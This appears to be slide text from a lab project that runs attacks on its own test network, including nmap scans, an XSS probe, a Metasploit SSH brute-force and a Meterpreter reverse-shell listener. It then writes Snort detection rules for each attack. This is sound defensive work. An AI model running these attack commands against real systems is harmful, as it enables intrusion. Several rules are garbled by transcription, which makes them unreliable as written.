## Intrusion Detection Systems

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Testing and configuring Snort

- What is an IDS?
- 2 Snort
- Testing and configuring Snort
- 4 Additional configuration
- Conclusions



### What is an IDS?

Two types of IDS exist

### **Network IDS**

- Detects and prevents network intrusions
- Entire network

### Host IDS

- Ensures the host integrity
- Single host

### What is Snort?

- Signature-based
- Network IDS
- Free (GPLv2 license)
- Highly customizable

Practical testing and configuration of Snort



## How was Snort configured?

By performing attacks on the network.

Testing and configuring Snort

### Based on the outcome

- Signatures were added
- Signatures were edited
- Signatures were removed
- Other aspects of Snort were fine-tuned

## Which attacks have been executed? (1/2)

Testing and configuring Snort

- Port scans
  - Basic port scan
  - Advanced port scan
- Webserver attacks
  - VISA card numbers sent in plain text over the network
  - XSS
  - SQL Injection
  - Command Injection
- FTP server attacks
  - FTP root access
  - FTP malicious payloads
  - Various other FTP attacks

What is an IDS?

## Which attacks have been executed? (2/2)

Testing and configuring Snort

- SSH attacks
- SMB attacks
  - List shares
  - List users
  - Login attempts
  - Bruteforce attempts
- Database attacks
  - Database scanning
  - Login attempts (including root access)
  - Bruteforce attempts
- Trojan and virus injection / infection
- DOS attacks



## First things first: basic configuration (1/5)

### Setting up the network in Linux...

```
laurent@laurent-VirtualBox:~$ ifconfig
eth0
         Link encap: Ethernet HWaddr 08:00:27:9a:6f:0a
          inet addr: 192.168.1.6 Bcast: 192.168.1.255 Mask: 255.255.255.0
         inet6 addr: fe80::a00:27ff:fe9a:6f0a/64 Scope:Link
         UP BROADCAST RUNNING MULTICAST MTU: 1500 Metric: 1
         RX packets:246 errors:0 dropped:0 overruns:0 frame:0
          TX packets:181 errors:0 dropped:0 overruns:0 carrier:0
         collisions:0 txqueuelen:1000
          RX bytes:30985 (30.9 KB) TX bytes:21095 (21.0 KB)
         Link encap:Ethernet HWaddr 08:00:27:ee:a0:4d
         UP BROADCAST RUNNING NOARP PROMISC MULTICAST MTU:1500
                                                                  Metric:1
         RX packets:104 errors:0 dropped:0 overruns:0 frame:0
          TX packets:2 errors:0 dropped:0 overruns:0 carrier:0
         collisions:0 txqueuelen:1000
         RX bytes:13994 (13.9 KB) TX bytes:168 (168.0 B)
```

. . .

## First things first: basic configuration (2/5)

```
# loopback network interface
auto lo
iface lo inet loopback
# Management network interface
auto eth0
iface eth0 inet dhcp
# Sniffing network interface
auto eth1
iface eth1 inet manual
 up ip link set $IFACE promisc on arp off up
 down ip link set $IFACE promisc off down
 post-up ethtool -G $IFACE rx 4096; for i in rx tx sg tso ufo gso gro lro; do ethtool -K $IFACE $i off; done
 post-up echo 1 > /proc/sys/net/ipv6/conf/$IFACE/disable ipv6
```

Conclusions

What is an IDS?

## First things first: basic configuration (3/5)

### ... as well as in snort.conf

```
# Setup the network addresses you are protecting
ipvar HOME_NET [192.168.1.0/16,10.0.0.0/8,172.16.0.0/12]
# Set up the external network addresses. Leave as "any" in most situations
ipvar EXTERNAL_NET any
# List of DNS servers on your network
ipvar DNS SERVERS $HOME NET
# List of SMTP servers on your network
ipvar SMTP_SERVERS $HOME_NET
# List of web servers on your network
ipvar HTTP SERVERS $HOME NET
# List of sql servers on your network
ipvar SQL_SERVERS $HOME_NET
# List of telnet servers on your network
ipvar TELNET SERVERS $HOME NET
# List of ssh servers on your network
ipvar SSH_SERVERS $HOME_NET
# List of ftp servers on your network
ipvar FTP SERVERS $HOME NET
# List of sip servers on your network
ipvar SIP_SERVERS $HOME_NET
```

## First things first: basic configuration (4/5)

Testing and configuring Snort

Running PulledPork to update the rules.


```
Rule Stats...
        New: ----19
        Deleted: --- 6
        Enabled Rules:----17195
        Dropped Rules:---0
        Disabled Rules:---3871
        Total Rules:----21066
```

```
Starting: OSSEC-eth1
  * starting: netsniff-ng (full packet data)
   starting: pcap agent (sguil)
   starting: snort_agent-1 (sguil)
                                                                           OK
    starting: snort agent-2 (sguil)
   starting: snort-1 (alert data)
   starting: snort-2 (alert data)
   starting: barnyard2-1 (spooler, unified2 format)
   starting: barnvard2-2 (spooler, unified2 format)
   starting: prads (sessions/assets)
   starting: pads agent (sguil)
                                                                           OK
   starting: sancp_agent (sguil)
                                                                           OK
   starting: argus
  * starting: http agent (sguil)
                                                                           OK
laurent@OSSEC:~$
```

### Portscans - Regular

### nmap -T4 -A -v 192.168.100.17

Detected by Snort!



### nmap -T4 -A -Ss -f -v 192.168.100.17

Not detected => need to add some extra rules

alert tcp any any -> SHOME\_NET any (msg:"SCAN ipEye SYN scan"; flow:stateless; flags:S; seq:1958810375; reference:arachnids,2 36; classtype:attempted-recon; sid:622; rev:8;) alert tcp any any -> SHOME\_NET any (msg:"SCAN SYN FIN"; flow:stateless; flags:SF,12; reference:arachnids,198; classtype:attempted-recon; sid:624; rev:7;)

## Portscans - NULL and XMAS (1/2)

### nmap -T4 -A -sN -sX -v 192.168.100.17

Not detected => need to add some extra rules


Testing and configuring Snort

alert tcp any any -> \$HOME NET any (msg:"NULL SCAN": flow:stateless; ack:0; flags:0; seq:0; reference:arachnids.4; classtype: attempted-recon: sid:623: rev:6:) alert tcp any any -> \$HOME NET any msg:"XMAS SCAN"; flow:stateless; flags:SRAFPU,12; reference:arachnids,144; classtype:atte mpted-recon; sid:625; rev:7;

## Portscans - NULL and XMAS (2/2)

### nmap -T4 -A -sN -sX -v 192.168.100.17.

Now everything works fines



Conclusions

## Webserver attacks - XSS (1/3)

### Custom-made vulnerable webpage



### **SNORT** vulnerability test page

### XSS Test

Hello, Laurent

## Webserver attacks - XSS (2/3)


### <script>alert('XSS vulnerability')</script>.



## Webserver attacks - XSS (3/3)

### Detected by Snort!

Snort



### But can we prevent this attack?

drop tcp \$EXTERNAL\_NET any -> \$HTTP\_SERVERS \$HTTP\_PORTS (msg:"ET WEB\_SERVER Script tag in URI, Possible Cross Site Scripting
ATTempt"; flow:to\_server.established; content:"</script>"; fast\_pattern:only; nocase; http\_uri; reference:url,ha.ckers.org/xs
s.html; reference:url,doc.emegrightreats.net/2009714; classytpe:web-application-attack.20090714; rev:6;)

Conclusions

## Webserver attacks - VISA Card number sent in plain text over network (1/3)

Not supported by Snort => need to add our own rule

```
alert tcp any any -> any any (pcre:"/4\d{3}(\s|-)?\d{4}(\s|-)?\d{4}(\s|-)?\d{4}/
";msg:"VISA card number";sid:100004;)
```

# Webserver attacks - VISA Card number sent in plain text over network (2/3)

### Custom webpage to insert VISA Card number



### **SNORT** vulnerability test page

#### VISA credit card number test

4000444062010002 Submit number

Snort

## Webserver attacks - VISA Card number sent in plain text over network (3/3)

### Detected by Snort!



Without the rules, this would not be possible!

## FTP server attacks - Root access (1/2)

Snort

Not supported by Snort => need to add our own rule




Conclusions

## FTP server attacks - Root access (2/2)

### Not supported by Snort => need to add our own rule. . .


```
alert tcp any any -> any 21 (msg:"FTP Traffic";sid:100007;)
alert tcp any any -> any 21 (msg:"User root access";content:"user root";sid:100008;)
alert tcp any any -> any 21 (msg:"User root access better";flow:to_server,established; \
content:"root";pcre:"/user\s+root/i";sid:100009;)
```

### ... after which Snort alerts properly.




## FTP server attacks - attacks using Metasploit (1/2)

### Let's go into more serious stuff...



## FTP server attacks - attacks using Metasploit (2/2)



Without those rules, this would not be possible!

Snort

```
msf-pro > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login) > show options
```

Load the file containing the usernames and passwords . . .


```
msf auxiliary(ssh_login) > set USERPASS_FILE C:\\metasploit\\root_userpass.txt
USERPASS_FILE => C:\metasploit\root_userpass.txt
```

... configure some other options ...

```
msf auxiliary(ssh_login) > set RHOSTS 192.168.1.17
RHOSTS => 192.168.1.17
msf auxiliary(ssh_login) > set USERPASS_FILE C:\metasploit\root_userpass.txt
USERPASS_FILE => C:metasploitroot_userpass.txt
msf auxiliary(ssh_login) > set VERBOSE true
VERBOSE => true
msf auxiliary(ssh_login) >
```

## SSH server attacks - attacks using Metasploit (2/3)

...and begin the attack!




The bruteforcing in action...



## SSH server attacks - attacks using Metasploit (3/3)

### Detected by Snort out-of-the-box.





## Database attacks (1/2)

### Rules to detect root access and executing some commands


Testing and configuring Snort

```
alert tcp any any -> any 3306 (msg:"MYSOL root login attempt": \
flow:to server.established; content:"|OA 00 00 01 85 04 00 00 80 72 6F 6F 74 00|"; \
classtype:protocol-command-decode; sid:100010; rev:1;)
alert tcp any any -> any 3306 (msg:"MYSQL show databases attempt"; \
flow:to_server,established; content:"|0f 00 00 00 03|show databases"; classtype:protocol-command-decode; sid:100011; rev:1;)
```

```
_ D X
Administrator: C:\Windows\system32\cmd.exe - mysql.exe -h 192.168.1.17 -u root -p
c:\wamp\bin\mysgl\mysgl5.6.17\bin mysgl.exe -h 192.168.1.17 -u root -p
Melcone to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 12
Server version: 5.6.17 MySQL Community Server (GPL)
Copyright (c) 2000, 2014, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql) show databases;
  Database
  information_schema
  performance_schema
  test
  rows in set (0.00 sec)
```

## Database attacks (2/2)


### Detected by Snort!



Without the rules, this would not have been detected!

## Trojan injection / infection (1/4)

### Create the trojan...





## Trojan injection / infection (2/4)


Testing and configuring Snort


... setup the listener ...

```
sf-pro > use exploit/multi/handler
msf exploit(handler) > set LHOST 192.168.1.40
LHOST => 192.168.1.40
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > set payload windows/meterpreter/reverse top
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > exploit
```

## Trojan injection / infection (3/4)

...and wait.






Conclusions

## Trojan injection / infection (4/4)

### Detected by Snort!



## Additional configuration

Additional configuration and fine-tuning Snort



## Classifying alerts - manually

By pressing function keys in the realtime viewer of Sguil.

- F1: Category I: Unauthorized Root/Admin access.
- F2: Category II: Unauthorized User access.
- F3: Category III: Attempted Unauthorized Access
- F4: Category IV: Successful Denial-of-Service Attack
- F5: Category V: Poor Security Practice or Policy Violation
- F6: Category VI: Reconnaissance/Probes/Scans
- F7: Category VII: Virus Infection
- F8: No action necessary





Conclusions

### By editing autocat.conf.

```
#<erase time>||<sersorName>||<src ip>||<src port>||<dst ip>||<dst port>||||proto>||<sig msg>||<cat value>
# Classify any ping traffic as NA (non classified):
none||any||any||any||any||1||any||1
# Classify all DOS attacks as category 4 (successful DOS attack):
none||any||any||any||any||%REGEXP%DOS||4
# Classify all unencrypted VISA traffic as category 5 (poor security):
none||anv||anv||anv||anv||%REGEXP%VISA card number||5
# Classify XSS attacks as category 2 (unauthorized access):
none||anv||anv||anv||80||6||%REGEXP%XSS||2
# Classify MySQL brute-force attacks as category 6 (reconnaissance/scans):
none||any||any||3306||any||any||6||%REGEXP%SCAN Multiple SQL Logon Failures||6
# Classify Trojan injection attemps as category 1 (unauthorized admin access)
none||any||any||any||any||6||%REGEXP%ET SHELLCODE Possible Call With No Offset||1
none||any||any||any||any||6||%%REGEXP%%ET POLICY PE EXE or DLL Windows file download||1
# Classify FTP root access as category 1 (unauthorized root access):
none||any||any||any||21||6||%%REGEXP%%User root access||1
```

Conclusions

### Set thresholds and suppress rules


```
# limit the alerting of 'HTTP Traffic' to 100 every hour event_filter gen_id 1, sig_id 100003, type limit, track by_src, count 100, seconds 3600
```

```
# alert every 1 time we see 'HTTP Traffic' during a half-hour time interval event_filter gen_id 1, sig_id 100003, type threshold, track by_src, count 1, seconds 1800
```

```
# suppress 'HTTP Traffic' completely for 192.168.1.40
# to suppress an event completely, one could also remove the IP address,
# or just remove the rule.
suppress gen_id 1, sig_id 100003, track by_src, ip 192.168.1.40
```

### False alerts

### Eliminate false alerts



alert udp \$HOME\_NET 17500 -> any 17500 (msg:"ET POLICY Dropbox Client Broadcasting"; content:"{|22|host\_int|22 3a| "; depth:1 3; content:" |22|version|22 3a| ["; distance:0; content:"], |22|displayname|22 3a| |22|"; distance:0; threshold:type limit, c ount 1, seconds 3600, track by src: classtype:policy-violation: sid:2012648: rev:3:)

### Difficulties encountered

- Installing Snort
- Configuring Snort
- Sometimes the agent won't start
- Logfile analysis
- ...

### Conclusion

### Findings and conclusion

- Out-of-the-box: mediocre
- Rules have to be added/modified/deleted

Testing and configuring Snort

- Takes a lot of time to configure
- Very extendable
- Very capable once correctly configured

## End

QA time

